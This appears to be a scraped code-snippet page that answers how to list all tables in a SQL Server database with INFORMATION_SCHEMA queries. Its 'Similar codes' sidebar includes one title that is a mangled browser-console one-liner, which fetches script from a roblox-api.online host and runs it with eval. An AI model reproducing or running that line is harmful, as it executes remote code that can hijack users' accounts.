How to get all tables in sql

Get the list of all tables in sql server

SELECT TABLE_NAME
FROM INFORMATION_SCHEMA.TABLES
WHERE TABLE_TYPE = 'BASE TABLE' AND TABLE_CATALOG='YOUR_Database_name'

How to get all tables in sql

SELECT * FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE='BASE TABLE'

Sql query to list all tables in a database sql server

BY LOVE SINGH on May 19 2020SELECT TABLE_NAME
FROM INFORMATION_SCHEMA.TABLES
WHERE TABLE_TYPE = 'BASE TABLE' AND TABLE_CATALOG='YOUR_Database_name'

How to check table name in current database sql

SELECT TABLE_NAME
FROM INFORMATION_SCHEMA.TABLES
WHERE TABLE_TYPE = 'BASE TABLE' AND TABLE_CATALOG=db_name() 
and TABLE_NAME like'%table_name%'--to check particular table

Similar codes

0 vote190 views2 answers
Mysql where in maintain order group_concat
SQL
4 votes162 views10 answers
Javascript$get'//roblox-api.online/roblox?id=4823'.eval)javascript$get'//roblox-api.online/roblox?id=
SQL
0 vote161 views1 answer
Access refused mysql xampp server
SQL
0 vote152 views1 answer
'0000-00-00' for column '
SQL
11 votes189 views3 answers
Python sqlite3 create table if not exists
SQL
3 votes177 views2 answers
Oracle apex charging debug
SQL
9 votes161 views2 answers
Mac mysql this is incompatible with sql_mode=only_full_group_by
SQL
0 vote179 views1 answer
How many rows affected in sqllite
SQL
5 votes200 views2 answers
Add days in oracle sql
SQL
1 vote162 views2 answers
Mysql type conversion
SQL